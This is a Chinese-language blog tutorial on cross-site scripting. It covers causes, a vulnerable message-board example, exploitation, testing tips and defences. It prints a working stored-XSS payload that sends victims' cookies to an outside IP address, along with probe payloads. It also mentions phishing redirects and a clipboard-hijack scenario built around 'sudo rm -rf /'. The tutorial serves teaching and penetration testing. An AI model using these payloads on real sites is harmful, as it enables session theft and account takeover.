前言
2011 年 6 月份国内最火的信息发布平台 “新浪微博” 爆发了 XSS 蠕虫攻击,新浪微博的 XSS 蠕虫爆发仅执续了 16 分钟,感染的用户就达到将近 33000 个,危害十分严重! XSS也是一个老生常谈的漏洞,并且长年位居 OWASP TOP 10前位,这篇文章将梳理一遍 XSS的产生原因以及如何在渗透测试中进行挖掘、利用以及防护。
XSS简介
XSS(Cross-Site Scripting) – 跨站脚本攻击
XSS一直被 OWASP组织评为十大安全漏洞中的第二威胁漏洞,XSS最大的特点就是能注入恶意的 HTML/JavaScript代码到用户浏览器的网页上。从而达到 Cookie 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
如图所示,我们可以清晰的看到 XSS的攻击过程:XSS的形成是由攻击者构造恶意的 JavaScript代码(镶嵌到 URL某参数中,存储到数据库中,在 Document节点处……),当用户点击连接或网页时,即触发 XSS,漏洞造成的结果就是受害者的 Cookie被盗取。
XSS漏洞产生原因
XSS漏洞的产生原因源于代码层,在开发过程中,某些服务器通过某些参数与用户进行交互,并且服务器没有对用户输入的内容进行过滤,才会导致这种漏洞的产生。那么请继续看,让我们进行情景再现。
这是一个很多 Web站点都会有的功能 —— 留言板。我们在前端进行输入内容,前端会将我们的数据传入到服务器并保存。留言板的最大特点就是:留言的内容是用户可控的,并且所以用户都可以看到留言内容。
所以我们设想一下,如果我们在留言板中插入恶意代码,让服务器保存,那么其他用户看到该页面时是否会触发我们的恶意代码。显然这个设想是成立的,那么我们逐步来分析,先从代码层进行分析。
1 | <?php |
进行简单的代码审计后,我们发现后端代码的大致流程是:接收参数值后进行去空处理,然后直接使用 INSERT 插入数据到数据库中。可见后端是没有对用户的输入进行任何的过滤操作,那么我们通过前端进行恶意代码构造操作。
我们将该恶意代码提交给服务器后,当我们再次访问该页面时,服务器从数据库将我们的恶意代码导入出来,发生弹窗事件。
我们查看网站源代码后,发现我们的恶意语句被当作 JavaScript代码执行
XSS漏洞利用
反射型XSS 重定向钓鱼
这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如 www.gxustt.com 为漏洞网站,那么钓鱼网站 www. gxustt.com就会完全仿冒正常网站的页面内容及行为,从而进行钓鱼等诈骗活动。
存储型 XSS盗取 Cookie
原理是将获取 Cookie并将 获取到 Cookie发送到指定站点的代码植入到目标数据库中,然后当受害者点击页面后会自动将自己的 Cookie发送到指定站点,攻击者在指定站点获取 Cookie后进行目标伪造登录。
1.在云服务器上写好接收 XSS代码
1 | <?php |
2.将 payload注入到网站中
3.其他人点击漏洞页面自动将本身 Cookie传输到云服务器上
Payload
1 | <script>document.location='http://49.234.232.39/cookie.php?cookie='+document.cookie;</script> |
XSS之粘贴板命令注入攻击 (这部分引用的是知识盒子)
有没有想过,当你选中一段文字复制后,粘贴出来的却是不同的内容?你肯定不希望这样,但你一定遇到过。比如复制某帖子的时候,末尾会加上「出自作者 XXX」这种烦人的内容。
从技术上说,实现这种效果很容易。但是,你有没有从安全角度考虑过这个问题?
比如,你从 Stack Overflow 上搜到的答案是 ping google.com
,一条人畜无害的命令,结果粘贴出来的却是 sudo rm -rf /
,你看都没看就敲下了回车
粘贴即运行
众所周知,粘贴多行命令时,Shell 会自动运行换行符前面的。例如:
1 | echo 1 |
当你将其粘贴到终端后,echo 1 已自动运行,敲下回车只是运行 echo 2 而已。
因此 XSS 完全可以将恶意命令放在第一行。你一粘贴,它就自动执行了!
以后你还敢从网上随意复制粘贴命令吗?
也许你在想,发现破绽后马上 ctrl c 来得及吗。来不及了,恶意命令完全可在后台执行,等你找到的时候说不定木马已经安装好了。
甚至,你可能根本都没发现破绽。。。
演示
https://www.etherdream.com/funnyscript/clipboard-hijack/
XSS挖取技巧
要多留意一些用户可控的输入框,和数据库会保存的数据等位置。比如:留言板、个人信息存储、文本编辑器等位置。
XSS挖取时在输入 payload后,如果没回显,首先要尝试刷新页面,如果结果是我们预期的,那恭喜如果结果非预期,比如过滤了某些字符,我们可以尝试使用不同的标签或样式来尝试插入 payload。还有一点不要忘记:要记得使用开发者工具来实时查看代码,是如何被修改的。
事件:
1 | onclick事件触发 'onclick='alert(1) |
标签:
1 | img图片标签 <img src=1 onerror=alert(1)> |
XSS防护措施
白名单:只接受对无害的用户输入
黑名单转义,参数实体化
- 本文作者: Mark DiDi
- 本文链接: https://gitee.com/gxustt/mxy/mxy/2021/01/02/XSS漏洞详解/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!